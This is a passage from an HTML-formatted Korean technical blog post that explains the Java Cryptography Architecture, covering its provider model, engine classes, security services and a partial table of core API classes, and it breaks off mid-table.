&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;JCA는 내부적으로&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;프레임워크와 프로바이더 구현&lt;/b&gt;&lt;/span&gt;의 두 부분으로 구성됩니다&lt;span&gt;&amp;nbsp;&lt;/span&gt;. 즉, 표준화된 보안 API 집합(예:&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;java.security&lt;/span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;javax.crypto&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;등의 패키지로 제공되는 클래스들)과, 다양한 알고리즘의 실제 구현체들을 담은 암호 서비스 프로바이더(Cryptographic Service Provider)들이 존재합니다. 자바 플랫폼에는 기본적으로 Sun, SunJCE, SunRsaSign 등의 여러 프로바이더 구현체가 내장되어 있으며&lt;span&gt;&amp;nbsp;&lt;/span&gt;, JCA는 이들 중 우선순위가 가장 높은 프로바이더로부터 요청된 알고리즘의 구현체를 선택하여 제공합니다. 또한 JCA는 서드파티 프로바이더의 추가를 지원하여, 기본 제공 알고리즘 외에도 새로운 알고리즘 구현을 손쉽게 확장할 수 있습니다&lt;span&gt;&amp;nbsp;&lt;/span&gt;. (JDK 1.4부터는 원래 별도였던 JCE(Java Cryptography Extension)도 JCA에 통합되어, 대칭키 암호화 등의 기능 역시 모두 동일한 구조로 제공됩니다.)&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;프로바이더 아키텍처와 엔진 클래스&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;JCA의&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;프로바이더 아키텍처&lt;/b&gt;&lt;/span&gt;에서는 엔진 클래스(engine class)와 프로바이더(provider)가 상호 작용하여 암호 서비스를 제공합니다.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;i&gt;엔진 클래스&lt;/i&gt;란 암호화 서비스의 동작을 표현하는 고수준 표준 API 클래스로, 특정 알고리즘이나 구현에 독립적인 추상 인터페이스를 담당합니다&lt;span&gt;&amp;nbsp;&lt;/span&gt;. 예를 들어&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;MessageDigest&lt;/span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;Signature&lt;/span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;Cipher&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;등은 각각 해시, 서명, 암호화 등의 기능을 수행하는 엔진 클래스들입니다. 한편&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;i&gt;프로바이더&lt;/i&gt;는 이러한 엔진 클래스가 사용할&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;알고리즘의 실제 구현체&lt;/b&gt;&lt;/span&gt;를 제공하는 플러그인 모듈입니다. 모든 프로바이더는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;java.security.Provider&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;클래스를 상속하여 구현되며, 자신이 제공하는 알고리즘 및 구현체 목록을 내부에 유지합니다&lt;span&gt;&amp;nbsp;&lt;/span&gt;. 프로바이더는 JRE의 설정 파일(&lt;span&gt;java.security&lt;/span&gt;)이나 애플리케이션 코드에서 등록할 수 있고, JCA는 등록된 프로바이더들을 순서에 따라 관리합니다&lt;span&gt;&amp;nbsp;&lt;/span&gt;. 여러 프로바이더가 동일한 알고리즘을 구현하는 경우,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;우선순위&lt;/b&gt;&lt;/span&gt;(preference order)에 따라 가장 높은 우선순위 프로바이더의 구현체가 사용되며, 필요하면 애플리케이션이 특정 프로바이더를 지명할 수도 있습니다&lt;span&gt;&amp;nbsp;&lt;/span&gt;.&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;JCA에서 암호 서비스를 사용하는 방법은 일관된 패턴을 따릅니다. 애플리케이션은&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;엔진 클래스의 정적 팩토리 메서드&lt;/b&gt;&lt;/span&gt;인&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;getInstance()&lt;/span&gt;에 알고리즘 이름(및 필요시 프로바이더)을 전달하여 해당 서비스 객체를 얻습니다&lt;span&gt;&amp;nbsp;&lt;/span&gt;. 예를 들어 SHA-256 해시 계산을 위해&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;MessageDigest.getInstance(&quot;SHA-256&quot;)&lt;/span&gt;을 호출하면, JCA는 설치된 프로바이더 중 SHA-256 알고리즘을 제공하는 첫 번째 구현체를 찾아서&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;MessageDigest&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;객체로 반환합니다&lt;span&gt;&amp;nbsp;&lt;/span&gt;. 특정 프로바이더의 구현을 쓰고 싶다면&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;MessageDigest.getInstance(&quot;SHA-256&quot;, &quot;Provider명&quot;)&lt;/span&gt;처럼 프로바이더를 지정할 수도 있습니다&lt;span&gt;&amp;nbsp;&lt;/span&gt;. 이렇게 얻어진 엔진 클래스 인스턴스(&lt;span&gt;MessageDigest&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;등)는 내부적으로 해당 프로바이더의 실제 구현 객체를 캡슐화하고 있으며, 엔진 클래스의 메서드를 호출하면 내부적으로 연결된 구현체(SPI)의 메서드를 호출하여 실제 동작을 수행합니다&lt;span&gt;&amp;nbsp;&lt;/span&gt;. JCA에서 각 엔진 클래스마다 그에 대응하는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;서비스 제공자 인터페이스(SPI)&lt;/b&gt;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;추상 클래스(e.g.,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;SignatureSpi&lt;/span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;CipherSpi&lt;/span&gt;)가 정의되어 있으며, 프로바이더는 이 SPI를 상속하여 알고리즘 구현을 제공하게 됩니다&lt;span&gt;&amp;nbsp;&lt;/span&gt;. 엔진 클래스는 이러한 SPI 구현 객체를 자신의 필드로 품고 있으며, 최종 사용자에게는 일관된 API를 제공하면서 내부적으로는 다양한 구현체와 상호 작용하는 것입니다.&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;이러한 구조 덕분에 애플리케이션 개발자는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;구현체에 의존하지 않는 코드&lt;/b&gt;&lt;/span&gt;를 작성할 수 있습니다. 예를 들어 동일한&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;Cipher&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;API를 사용하더라도, 기본 JDK 프로바이더의 AES 구현이나 서드파티 BouncyCastle 프로바이더의 AES 구현을 교체하여 사용할 수 있습니다. 보통은 JDK에 내장된 프로바이더들이 폭넓은 알고리즘을 충분히 제공하므로 특별히 프로바이더를 지정하지 않고 사용하는 경우가 많습니다&lt;span&gt;&amp;nbsp;&lt;/span&gt;. (JCA는 설치된 프로바이더와 그 제공 서비스들을 조회하거나 관리하는 API도 제공하며,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;Security&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;클래스 등을 통해 현재 등록된 프로바이더 목록이나 알고리즘 목록을 얻을 수 있습니다&lt;span&gt;&amp;nbsp;&lt;/span&gt;.)&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;JCA가 제공하는 보안 서비스&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;JCA는 애플리케이션 보안을 위해 다양한&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;암호화 서비스&lt;/b&gt;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;API를 제공합니다&lt;span&gt;&amp;nbsp;&lt;/span&gt;. 주요 서비스 범주는 다음과 같습니다&lt;span&gt;&amp;nbsp;&lt;/span&gt;:&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span&gt;&lt;b&gt;암호화/복호화&lt;/b&gt;&lt;/span&gt;: 대칭 키 알고리즘(AES, DES 등)과 비대칭 키 알고리즘(RSA, ECC 등)을 이용하여 데이터를 암호화하고 복호화하는 기능입니다. 이 기능은&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;Cipher&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;클래스를 통해 제공되며, 블록 암호, 스트림 암호,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;패스워드 기반 암호화&lt;/b&gt;&lt;/span&gt;(PBE) 등 여러 종류의 알고리즘 모드를 지원합니다&lt;span&gt;&amp;nbsp;&lt;/span&gt;.&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&lt;b&gt;디지털 서명&lt;/b&gt;&lt;/span&gt;: 전자 서명을 생성하고 검증하는 기능으로,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;Signature&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;클래스를 통해 제공됩니다. 개인 키로 데이터를 서명하고 대응되는 공개 키로 서명을 검증함으로써, 데이터의&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;무결성&lt;/b&gt;&lt;/span&gt;과&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;송신자 인증&lt;/b&gt;&lt;/span&gt;을 보장합니다&lt;span&gt;&amp;nbsp;&lt;/span&gt;. (예: RSA 또는 DSA 서명 알고리즘을 이용한 전자서명.)&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&lt;b&gt;메시지 다이제스트(해시)&lt;/b&gt;&lt;/span&gt;: 임의 길이의 입력 데이터를 고정 길이의 해시 값으로 변환하는 기능입니다.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;MessageDigest&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;클래스를 통해 SHA-1, SHA-256, SHA-512 등의 해시 알고리즘을 사용할 수 있으며, 생성된 해시는 데이터 변경 여부를 확인하기 위한&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;무결성 체크&lt;/b&gt;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;등에 활용됩니다&lt;span&gt;&amp;nbsp;&lt;/span&gt;.&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&lt;b&gt;메시지 인증 코드(MAC)&lt;/b&gt;&lt;/span&gt;: 공유된 비밀 키를 사용하여 메시지로부터 MAC 값을 생성하고 검증하는 기능입니다.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;Mac&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;클래스를 통해 제공되며, 해시 함수와 비밀 키를 조합하여 생성된 MAC 값으로 데이터의 무결성과&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;인증&lt;/b&gt;&lt;/span&gt;을 보장합니다&lt;span&gt;&amp;nbsp;&lt;/span&gt;. (주로 송신자와 수신자가 동일한 비밀 키를 공유하는 환경에서 사용)&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&lt;b&gt;키 생성 및 교환&lt;/b&gt;&lt;/span&gt;: 암호화에 사용되는 **키(key)**를 생성하거나 여러 당사자가 키를 안전하게 공유하는 기능입니다. 예를 들어 대칭키를 생성하는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;KeyGenerator&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;클래스, 공개/개인키 쌍을 생성하는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;KeyPairGenerator&lt;/span&gt;클래스, 그리고&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;키 합의&lt;/b&gt;&lt;/span&gt;(Key Agreement)를 수행하는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;KeyAgreement&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;클래스 등이 포함됩니다.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;KeyAgreement&lt;/span&gt;을 통해 Diffie-Hellman 같은 프로토콜을 구현하여 둘 이상의 당사자가 공동의 비밀 키를 합의할 수 있습니다&lt;span&gt;&amp;nbsp;&lt;/span&gt;.&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&lt;b&gt;키 저장 및 관리&lt;/b&gt;&lt;/span&gt;: 생성된 키와 인증서를 안전하게 보관하고 관리하는 기능입니다. JCA는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;키스토어(KeyStore)&lt;/b&gt;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;라는 키/인증서 저장소 개념을 제공하며,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;KeyStore&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;클래스를 통해 파일 등의 형태로 키를 저장/로드할 수 있습니다. 키스토어에는 개인 키와 해당 인증서 체인, 신뢰된 인증서 등이 저장되어&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;신원 인증&lt;/b&gt;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;및&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;키 관리&lt;/b&gt;&lt;/span&gt;에 활용됩니다&lt;span&gt;&amp;nbsp;&lt;/span&gt;. 또한 X.509&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;인증서&lt;/b&gt;&lt;/span&gt;의 생성과 파싱은&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;CertificateFactory&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;클래스로 처리할 수 있으며, 인증서 경로 검증(&lt;span&gt;CertPathValidator&lt;/span&gt;)이나 인증서 철회 목록(CRL) 처리 등의 PKI 관련 기능도 지원됩니다 (Java의 표준 PKI API를 통해 제공)&lt;span&gt;&amp;nbsp;&lt;/span&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;이러한 서비스들을 구현하기 위해 JCA에는 다양한 API 클래스들이 제공되며,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;암호 키&lt;/b&gt;&lt;/span&gt;는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;Key&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;인터페이스를 통해 일관된 형태로 취급됩니다. 공개키/개인키/대칭키 등의 모든 Key 객체는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;Key&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;인터페이스를 상속한 형태로 표현되고, 키의 알고리즘 이름, 인코딩 형식, 바이너리 표현을 얻는 메서드를 공통적으로 제공합니다&lt;span&gt;&amp;nbsp;&lt;/span&gt;. 애플리케이션은 엔진 클래스 (&lt;span&gt;Cipher&lt;/span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;Signature&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;등)의 인스턴스를 초기화할 때 이러한 Key 객체를 전달하며, 엔진 클래스는 전달된 키를 이용해 암호 연산을 수행합니다&lt;span&gt;&amp;nbsp;&lt;/span&gt;. 아래에서는 JCA에서 주로 사용되는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;주요 클래스와 인터페이스&lt;/b&gt;&lt;/span&gt;를 정리합니다.&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;주요 API 클래스 및 인터페이스 역할 정리&lt;/b&gt;&lt;/h2&gt;
&lt;table style=&quot;color: #000000; text-align: start; border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 19.418605%; text-align: center;&quot;&gt;&lt;span&gt;&lt;span&gt;클래스/인터페이스&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 80.465116%; text-align: center;&quot;&gt;&lt;span&gt;역할 및 용도&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 19.418605%;&quot;&gt;&lt;span&gt;&lt;span&gt;Provider&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 80.465116%;&quot;&gt;&lt;span&gt;JCA에 플러그인 방식으로 등록되는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;암호 서비스 제공자&lt;/b&gt;&lt;/span&gt;를 표현하는 클래스입니다. 제공 가능한 알고리즘들과 해당 구현체들의 **목록(데이터베이스)**을 보유하여, 요청 시 JCA 프레임워크가 적절한 구현 클래스를 찾을 수 있도록 합니다&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;. 즉, 알고리즘 이름을 키(Key)로 하고 구현 클래스 정보를 값(Value)으로 가지는 맵 구조로 알고리즘들을 광고하며, 표준 API 호출이 실제 구현체와 연결되도록 해 줍니다.&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 19.418605%;&quot;&gt;&lt;span&gt;&lt;span&gt;Security&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 80.465116%;&quot;&gt;&lt;span&gt;JCA의&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;보안 설정&lt;/b&gt;&lt;/span&gt;과 프로바이더 관리를 담당하는 유틸리티 클래스입니다. 보안 프로퍼티와 프로바이더 목록을 중앙에서 관리하며, 프로바이더 등록/제거 (&lt;span&gt;Security.addProvider(...)&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;등)이나 설치된 프로바이더 열람 (&lt;span&gt;Security.getProviders()&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;등)과 같은 정적 메서드를 제공합니다&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;. 애플리케이션은 이 클래스를 통해 현재 사용 가능한 프로바이더와 알고리즘 정보를 조회하거나 동적으로 새로운 프로바이더를 추가할 수 있습니다.&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 19.418605%;&quot;&gt;&lt;span&gt;SecureRandom&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 80.465116%;&quot;&gt;&lt;span&gt;&lt;span&gt;&lt;b&gt;암호학적 난수 생성기&lt;/b&gt;&lt;/span&gt;를 제공하는 클래스입니다. 예측 불가능한 난수를 생성하기 위해 내부적으로 시드(seed)를 활용한 의사난수 알고리즘을 사용하며, 키 생성이나 난수 challeng 등 보안상 중요한 용도의 난수 값을 공급합니다&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;. JDK 기본 구현은 OS의 엔트로피 소스를 활용하여 높은 품질의 난수를 제공합니다.&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 19.418605%;&quot;&gt;&lt;span&gt;MessageDigest&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 80.465116%;&quot;&gt;&lt;span&gt;입력 데이터의 **메시지 다이제스트(해시)**를 계산하는 엔진 클래스입니다. MD5, SHA-256 등 해시 알고리즘을 선택하여&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;getInstance&lt;/span&gt;로 객체를 생성한 뒤,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;update()&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;메서드로 데이터를 입력하고&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;digest()&lt;/span&gt;를 호출하면 해시 값을 얻을 수 있습니다&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;. 해시 함수는 입력 데이터의 무결성 검증이나 비밀번호 저장 등의 목적으로 사용됩니다.&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 19.418605%;&quot;&gt;&lt;span&gt;Signature&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 80.465116%;&quot;&gt;&lt;span&gt;&lt;span&gt;&lt;b&gt;전자서명&lt;/b&gt;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;생성 및 검증을 위한 엔진 클래스입니다.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;initSign(개인키)&lt;/span&gt;으로 서명용으로 초기화하여&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;update()&lt;/span&gt;로 데이터를 입력한 뒤&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;sign()&lt;/span&gt;을 호출하면 서명값을 생성하고,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;initVerify(공개키)&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;후&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;update()&lt;/span&gt;와&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;verify(서명값)&lt;/span&gt;를 호출하면 서명을 검증합니다. 내부적으로 RSA, DSA, ECDSA 등 다양한 공개키 서명 알고리즘을 지원하며, 키 쌍을 통해 데이터의 인증과 무결성을 보장합니다&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;.&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 19.418605%;&quot;&gt;&lt;span&gt;Cipher&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 80.465116%;&quot;&gt;&lt;span&gt;&lt;span&gt;&lt;b&gt;데이터 암호화/복호화&lt;/b&gt;&lt;/span&gt;를 위한 엔진 클래스입니다.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;init(모드, 키)&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;메서드로 암호화(ENCRYPT_MODE) 또는 복호화(DECRYPT_MODE) 모드 및 사용할 키를 지정하여 초기화하고,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;doFinal(데이터)&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;등을 호출하면 데이터를 암호화하거나 복호화합니다. AES, DES 같은 대칭키&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;블록 암호&lt;/b&gt;&lt;/span&gt;, RC4 같은 스트림 암호, RSA같은 비대칭키 암호, 그리고&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;PBE&lt;/b&gt;&lt;/span&gt;(Password-Based Encryption) 등 다양한 알고리즘을 지원하며, 알고리즘/모드/패딩 조합을 문자열로 지정하여 세부 구성을 선택할 수 있습니다&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;.&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 19.418605%;&quot;&gt;&lt;span&gt;&lt;span&gt;Mac&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 80.465116%;&quot;&gt;&lt;span&gt;&lt;span&gt;&lt;b&gt;메시지 인증 코드&lt;/b&gt;&lt;/span&gt;(Message Authentication Code)를 생성/검증하는 엔진 클래스입니다.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;init(키)&lt;/span&gt;로 비밀 키를 설정한 후&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;update(데이터)&lt;/span&gt;와&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;doFinal()&lt;/span&gt;을 호출하여 MAC 값을 생성합니다. MAC은 해시 함수와 비밀 키를 조합하여 생성한 값으로, 송수신자가 공유한 키로만 검증될 수 있으므로 메시지의&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;무결성&lt;/b&gt;&lt;/span&gt;과&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;인증&lt;/b&gt;&lt;/span&gt;을 보장합니다&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;. (예: HMAC-SHA256 등 해시 기반 MAC 알고리즘)&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 19.418605%;&quot;&gt;&lt;span&gt;KeyPairGenerator&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 80.465116%;&quot;&gt;&lt;span&gt;공개키 암호에서 사용하는 **키 쌍(공개키 + 개인키)**을 생성하는 클래스입니다. RSA, EC 등의 알고리즘 이름을 지정하여&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;getInstance&lt;/span&gt;로 객체를 얻고 키 크기 등을 설정한 후&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;generateKeyPair()&lt;/span&gt;를 호출하면 새로운 키쌍(&lt;span&gt;KeyPair&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;객체)을 생성합니다&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;. 주로 공개키 기반의 인증서 발급이나 서명 키 생성 등에 사용됩니다.&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 19.418605%;&quot;&gt;&lt;span&gt;KeyGenerator&lt;/span&gt;&lt;/td&gt;
